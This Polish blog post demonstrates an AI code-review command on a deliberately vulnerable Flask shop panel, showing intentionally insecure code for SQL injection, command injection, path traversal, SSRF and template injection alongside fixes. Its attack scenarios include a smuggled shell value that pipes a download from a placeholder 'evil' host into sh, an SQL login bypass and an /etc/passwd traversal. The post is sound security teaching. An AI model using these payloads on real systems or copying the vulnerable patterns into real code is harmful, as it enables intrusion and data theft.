Blog JSystems - uwalniamy wiedzę!

Szukaj
Podsumowanie przebiegu /security-review: 10 kandydatów, 7 potwierdzonych podatności wysokiego ryzyka, 3 odsiane fałszywe alarmy
Wynik jednego uruchomienia /security-review na gałęzi z panelem sklepu: 10 kandydatów, 7 potwierdzonych podatności wysokiego ryzyka, 3 odsiane jako fałszywe alarmy.

Claude Code ma wbudowaną komendę /security-review, która czyta zmiany na Twojej gałęzi git i sprawdza je pod kątem podatności bezpieczeństwa - tak, jak zrobiłby to doświadczony programista podczas przeglądu kodu. Żeby nie opowiadać teorii, zbudowaliśmy celowo dziurawy panel wewnętrzny sklepu (Flask), umieściliśmy podatny kod na osobnej gałęzi i uruchomiliśmy na nim /security-review na żywo. Poniżej jest komplet: przebieg, prawdziwy raport i kod każdej znalezionej luki wraz z poprawką.

Czym jest /security-review

/security-review to wbudowana komenda ukośnikowa Claude Code (testowaliśmy na wersji 2.1.168). Po jej wywołaniu Claude bierze diff bieżącej gałęzi względem origin/HEAD - czyli dokładnie te zmiany, które trafiłyby do pull requesta - i szuka w nich podatności bezpieczeństwa. Nie skanuje całego repozytorium, tylko nowy lub zmieniony kod. To celowe: przegląd jest szybki i skupiony na tym, co właśnie dopisałeś.

Komenda działa w trzech krokach:

  1. Identyfikacja kandydatów - podagent czyta diff i wypisuje wszystkie miejsca, które mogą być podatne (przepływ danych od wejścia użytkownika do miejsca niebezpiecznego).
  2. Filtr fałszywych alarmów - każde znalezisko dostaje osobnego agenta, który próbuje je obalić i przypisuje mu pewność w skali 1-10.
  3. Raport - do wyniku trafiają tylko znaleziska z pewnością co najmniej 8, z opisem, scenariuszem ataku i rekomendacją naprawy.

Rozpoznawane klasy podatności to m.in. SQL injection, wstrzyknięcie poleceń systemowych, SSRF, path traversal, wstrzyknięcie szablonu (SSTI) prowadzące do zdalnego wykonania kodu, XSS, niebezpieczna deserializacja, słaba kryptografia i błędy autoryzacji. Świadomie pomijane są za to rzeczy typu odmowa usługi (DoS), limitowanie żądań czy błędy pamięci w językach bezpiecznych pamięciowo - żeby nie zasypywać raportu szumem.

Jak uruchomić /security-review

Najprościej: w interaktywnej sesji Claude Code, w katalogu projektu z gałęzią git, wpisujesz komendę i zatwierdzasz.

Wywołanie komendy /security-review w Claude Code z podpowiedzią opisu
Wywołanie /security-review - Claude Code podpowiada opis: "Complete a security review of the pending changes on the current branch".

Ważny szczegół z naszych testów: ta komenda jest interaktywna. Próba uruchomienia jej w trybie bezinterfejsowym (claude -p "/security-review") kończyła się bez żadnego wyniku - zero tur, pusta odpowiedź. Jeśli potrzebujesz automatycznego przeglądu na każdym pull requeście, służy do tego osobne narzędzie: GitHub Action anthropics/claude-code-security-review, o którym piszemy niżej.

Jest jeszcze jeden warunek techniczny, na który się natknęliśmy. Komenda porównuje gałąź względem origin/HEAD, więc repozytorium musi mieć zdalne origin i ustawiony wskaźnik HEAD. Bez tego dostaniesz błąd o niejednoznacznym argumencie origin/HEAD. Wystarczy raz:

git remote add origin <adres_repo>
git push -u origin main
git remote set-head origin main

Aplikacja testowa - dziurawy panel sklepu

Żeby test był uczciwy, przygotowaliśmy realistyczny, ale celowo podatny panel wewnętrzny sklepu TechnoSklep - mała aplikacja Flask do obsługi zamówień i faktur. Na gałęzi main był czysty szkielet (to nasza linia bazowa, origin/main), a cały podatny kod trafił na osobną gałąź feature/panel-zamowien. Dzięki temu /security-review miał realny diff do sprawdzenia - dokładnie tak, jak przy prawdziwym pull requeście.

W panelu jest kilka tras: logowanie pracownika, wyszukiwarka produktów, pobieranie faktur, podgląd zamówienia po ID, backup katalogu i prosty proxy do zewnętrznych zasobów. Każda z nich zawiera typowy dla pośpiechu błąd - sklejanie zapytań i poleceń ze stringów zamiast bezpiecznych mechanizmów.

Uruchomiony lokalnie panel TechnoSklep - katalog produktów pobierany z bazy
TechnoSklep uruchomiony lokalnie - panel obsługi z katalogiem produktów pobieranym z bazy sklep.db. To ta sama aplikacja, którą sprawdza /security-review.

Pobierz kod i uruchom u siebie

Cały dziurawy kod tego panelu udostępniamy do pobrania - możesz uruchomić go lokalnie i samodzielnie puścić na nim /security-review: technosklep-security-review-demo.zip.

Uwaga - kod celowo podatny

To materiał wyłącznie do nauki. Uruchamiaj go tylko lokalnie, na własnej maszynie (localhost). Nie wystawiaj tej aplikacji publicznie ani nie wdrażaj na produkcji. Wszystkie dane, hasła i klucze w środku są fikcyjne.

Do uruchomienia potrzebujesz jedynie Pythona - zajmuje to chwilę:

python3 -m venv .venv
source .venv/bin/activate        # Windows: .venv\Scripts\activate
pip install -r requirements.txt
python init_db.py                # tworzy lokalną bazę sklep.db z danymi demo
python app.py                    # start na http://localhost:8000

Panel ruszy pod http://localhost:8000 z katalogiem produktów jak na zrzucie powyżej, a /search?q=laptop przefiltruje listę.

Odtwórz nasz przebieg krok po kroku

/security-review porównuje gałąź git względem origin/HEAD, więc kod musi leżeć w repozytorium z punktem odniesienia. W paczce jest skrypt, który ustawia to jednym poleceniem - pusty baseline na main i cały podatny kod na gałęzi feature/panel-zamowien, dokładnie tak jak u nas:

cd technosklep
bash setup_review.sh          # Windows: Git Bash

Potem w tym samym katalogu odpal interaktywną sesję Claude Code i wpisz komendę:

/security-review

Komenda przeanalizuje diff gałęzi feature/panel-zamowien i przejdzie przez ten sam 3-etapowy proces co u nas, kończąc raportem z podatnościami. Przegląd wykonuje model AI, więc dokładne liczby mogą się nieznacznie różnić między uruchomieniami - ale te same podatności (SQL injection, wstrzyknięcie poleceń, path traversal, SSRF, SSTI) zostaną wykryte. Wszystkie kroki są też w pliku README.md w paczce.

Przebieg na żywo

Po zatwierdzeniu komendy Claude od razu deklaruje plan i uruchamia pierwszy podagent do wyszukania podatności.

Claude Code w trakcie /security-review - startuje 3-etapowy proces i uruchamia podagent
Start przeglądu: "I'll conduct this security review following the prescribed 3-step process". Claude uruchamia podzadanie identyfikujące podatności.

Dalej idzie etap, który odróżnia to narzędzie od zwykłego skanera - równoległa weryfikacja. Każdy kandydat dostaje osobnego agenta, który stara się go obalić i wystawia ocenę pewności. Cały przebieg na naszym kodzie trwał około 4 minut i 10 sekund i uruchomił 11 podagentów.

Animacja 3 etapów /security-review: identyfikacja kandydatów, filtr fałszywych alarmów z oceną pewności, raport
Trzy etapy przeglądu: identyfikacja kandydatów, filtr fałszywych alarmów z oceną pewności 1-10, raport tylko dla znalezisk o pewności co najmniej 8.

Co znalazł - 7 podatności wysokiego ryzyka

Z 10 kandydatów Claude potwierdził 7 podatności o wysokim ryzyku (pewność co najmniej 8). Oto pełny raport wprost z sesji:

Raport /security-review dla panelu TechnoSklep - opis podatności SQL injection i command injection ze scenariuszem ataku
Fragment raportu /security-review: dla każdej podatności jest kategoria, opis, scenariusz ataku i konkretna rekomendacja naprawy.

Przejdźmy przez znaleziska z kodem. Wszystkie fragmenty to prawdziwy kod z gałęzi testowej.

SQL Injection HIGH x3

Trzy osobne zapytania budowane przez sklejanie stringów. Najgroźniejsze jest logowanie - pozwala na obejście uwierzytelniania:

# db.py - podatne
def find_user(username, password_hash):
    query = "SELECT id, username, role FROM users WHERE username = '%s' AND password = '%s'" % (
        username, password_hash,
    )
    cur.execute(query)

def search_products(term):
    cur.execute(f"SELECT id, name, price FROM products WHERE name LIKE '%{term}%'")

def get_order(order_id):
    cur.execute(f"SELECT id, klient, kwota, status FROM orders WHERE id = {order_id}")

Scenariusz ataku (logowanie): wysłanie username=admin' -- i dowolnego hasła daje zapytanie ... WHERE username = 'admin' -- ' AND password = '...'. Komentarz -- ucina sprawdzenie hasła, funkcja zwraca wiersz admina, a aplikacja ustawia sesję z rolą administratora. To pełne obejście logowania i eskalacja uprawnień.

Poprawka: zapytania parametryzowane - dane nigdy nie trafiają do treści SQL:

# db.py - poprawnie
cur.execute(
    "SELECT id, username, role FROM users WHERE username = ? AND password = ?",
    (username, password_hash),
)

Command Injection (RCE) HIGH

Trasa backupu skleja parametr katalog prosto do polecenia powłoki i podaje je do os.system:

# app.py - podatne
@app.route("/admin/backup")
def backup():
    katalog = request.args.get("katalog", "faktury")
    cmd = "tar czf /tmp/backup.tar.gz /srv/technosklep/" + katalog
    os.system(cmd)
    return "Backup wykonany"

Scenariusz ataku: GET /admin/backup?katalog=faktury;curl http://evil/x|sh wykona dowolne polecenie na serwerze jako użytkownik aplikacji. Do tego trasa nie ma żadnej autoryzacji. To zdalne wykonanie kodu i przejęcie serwera.

Poprawka: nie wołaj powłoki, przekaż argumenty listą, zwaliduj wejście i dołóż autoryzację:

# app.py - poprawnie
import subprocess, re
if not re.fullmatch(r"[A-Za-z0-9_-]+", katalog):
    abort(400)
subprocess.run(["tar", "czf", "/tmp/backup.tar.gz",
                os.path.join("/srv/technosklep", katalog)], check=True)

Path Traversal HIGH

Pobieranie faktury wkleja nazwę pliku od użytkownika do ścieżki:

# app.py - podatne
@app.route("/faktura")
def faktura():
    plik = request.args.get("plik")
    path = os.path.join(config.INVOICE_DIR, plik)
    return send_file(path)

Scenariusz ataku: GET /faktura?plik=../../../../etc/passwd wychodzi poza katalog faktur i odczytuje dowolny plik na serwerze. os.path.join nie chroni - ścieżka absolutna lub ../ nadpisuje bazowy katalog.

Poprawka: odetnij ścieżkę do samej nazwy i sprawdź, czy wynik nie ucieka z katalogu:

# app.py - poprawnie
from werkzeug.utils import secure_filename
nazwa = secure_filename(request.args.get("plik", ""))
path = os.path.join(config.INVOICE_DIR, nazwa)
if not os.path.realpath(path).startswith(os.path.realpath(config.INVOICE_DIR)):
    abort(403)

SSRF HIGH

Trasa proxy pobiera dowolny adres podany przez użytkownika:

# app.py - podatne
@app.route("/proxy")
def proxy():
    url = request.args.get("url")
    r = requests.get(url, timeout=config.URL_TIMEOUT)
    return r.content

Scenariusz ataku: atakujący podaje adres wewnętrzny, np. endpoint metadanych chmury albo usługę w sieci lokalnej niedostępną z zewnątrz. Serwer pobierze go za niego i zwróci treść - klasyczne Server-Side Request Forgery, często droga do kradzieży poświadczeń chmurowych.

Poprawka: dopuszczaj tylko adresy z listy dozwolonych domen i blokuj adresy prywatne oraz przekierowania do nich.

SSTI -> RCE / XSS HIGH

Wyszukiwarka skleja zapytanie użytkownika z szablonem i renderuje przez render_template_string:

# app.py - podatne
@app.route("/search")
def search():
    q = request.args.get("q", "")
    html = "<h2>Wyniki dla: " + q + "</h2><ul>"
    ...
    return render_template_string(html + "</ul>")

Scenariusz ataku: q trafia do silnika szablonów Jinja2. Wstrzyknięcie w rodzaju {{ 7*7 }} zostanie wykonane po stronie serwera (Server-Side Template Injection), a przy odpowiednim ładunku prowadzi do zdalnego wykonania kodu. Niezależnie od tego surowe q w HTML to także XSS.

Poprawka: nie buduj szablonu z danych użytkownika - użyj stałego szablonu i przekaż dane jako zmienne (autoescaping Jinja2 załatwia XSS):

# app.py - poprawnie
return render_template_string(
    "<h2>Wyniki dla: {{ q }}</h2><ul>{% for r in rows %}<li>{{ r[1] }}</li>{% endfor %}</ul>",
    q=q, rows=rows,
)

Czego świadomie NIE zgłosił - i dlaczego to zaleta

Najciekawsze w tym przebiegu jest to, czego w raporcie nie ma. Claude znalazł jeszcze trzy podejrzane miejsca, ale odsiał je, bo nie spełniały progu pewności lub były poza zakresem:

  • Niebezpieczna deserializacja pickle (funkcja "zapamiętaj mnie" w auth.py) - pewność 3. Powód: to martwy kod, funkcja nigdzie nie jest wywoływana, więc nie da się jej wykorzystać w tej wersji aplikacji.
  • Hashowanie hasła przez MD5 - pewność 7, czyli tuż pod progiem 8. Realna słabość kryptograficzna, ale sama w sobie nie daje bezpośredniego wektora ataku na endpoint.
  • Zakodowany na stałe SECRET_KEY w config.py - pewność 4, nakłada się na wyłączoną z zakresu klasę "sekrety w plikach".

To pokazuje dyscyplinę narzędzia. Prosty skaner wyplułby te trzy pozycje jako alarmy i zabrał czas na ich ręczne odrzucanie. /security-review sam ocenił, że są to fałszywe alarmy albo szum poza zakresem, i zostawił w raporcie wyłącznie 7 realnie groźnych, wykorzystywalnych luk. Warto o tym pamiętać przy porządkach w kodzie: MD5, martwy pickle i sekrety w repo i tak warto naprawić - komenda po prostu nie traktuje ich jak krytycznych podatności do natychmiastowego działania.

/security-review kontra klasyczny skaner, i użycie w CI/CD

Porównanie skanera sygnaturowego SAST z analizą kontekstową /security-review
Skaner sygnaturowy dopasowuje wzorce; /security-review analizuje kontekst i przepływ danych, a każde znalezisko weryfikuje osobnym agentem.

Różnica jest w podejściu. Skaner sygnaturowy szuka wzorców ("tu jest os.system") i łatwo generuje fałszywe alarmy tam, gdzie dane są bezpieczne. /security-review śledzi przepływ danych od wejścia użytkownika do miejsca podatnego i pyta "czy tę linię da się realnie wykorzystać?" - stąd mniej szumu i konkretne scenariusze ataku. To nie znaczy, że zastępuje dedykowane narzędzia; traktuj go jak szybki, kontekstowy audyt bezpieczeństwa wpleciony w przegląd kodu.

Do automatyzacji na pull requestach jest wersja dla CI/CD - GitHub Action anthropics/claude-code-security-review, która komentuje znaleziska bezpośrednio w PR:

name: Security Review
on: [pull_request]
jobs:
  security:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      pull-requests: write
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 2
      - uses: anthropics/claude-code-security-review@main
        with:
          claude-api-key: ${{ secrets.CLAUDE_API_KEY }}

Dzięki fetch-depth: 2 Action ma dostęp do diffa PR, a klucz API trzymasz jako sekret repozytorium. Od tej pory każdy pull request dostaje automatyczny przegląd bezpieczeństwa, zanim ktokolwiek go zmerguje.

Granice narzędzia

Żeby używać go świadomie, warto znać ograniczenia, które sami zaobserwowaliśmy:

  • Tylko diff gałęzi. Sprawdzane są zmiany względem origin/HEAD, a nie całe repozytorium - stary, niezmieniony podatny kod nie zostanie przejrzany.
  • Tryb interaktywny. W terminalu działa, przez claude -p - nie. Do potoków użyj GitHub Action.
  • Wymaga zdalnego origin. Bez skonfigurowanego origin/HEAD komenda się nie uruchomi.
  • To nie pentest. To przegląd kodu, a nie testy działającej aplikacji, infrastruktury czy logiki biznesowej. Świetnie łapie klasy luk widoczne w kodzie, ale nie zastąpi audytu bezpieczeństwa całego systemu.

Podsumowanie

Na dziurawym panelu Flask /security-review w niecałe 4 minuty przeanalizował diff gałęzi, wskazał 10 podejrzanych miejsc, każde zweryfikował osobnym agentem i zostawił 7 realnie groźnych podatności - trzy SQL injection, wstrzyknięcie poleceń z RCE, path traversal, SSRF i SSTI - odrzucając przy tym 3 fałszywe alarmy. Dla każdej luki dostaliśmy kategorię, scenariusz ataku i konkretną poprawkę. To nie zastępuje pentestu, ale jako darmowy, kontekstowy przegląd kodu potrafi wyłapać dokładnie te błędy, które najczęściej wpuszczają atakującego do środka.

Chcesz opanować Claude Code w praktyce?

Na szkoleniu Claude Code - od zera do zespołu agentów AI pokazujemy agentowe programowanie, przegląd bezpieczeństwa kodu, MCP i subagentów - na realnych projektach, z praktykiem.

Zobacz szczegóły i terminy

Interesuje Cię strona ofensywna - realne szukanie podatności?

Na szkoleniu Testy penetracyjne w praktyce uczymy, jak samodzielnie znajdować i potwierdzać luki takie jak SQL injection, RCE czy SSRF - na przygotowanym środowisku, krok po kroku.

Zobacz szczegóły i terminy

Komentarze (0)

Musisz być zalogowany by móc dodać komentarz. Zaloguj się przez Google

Brak komentarzy...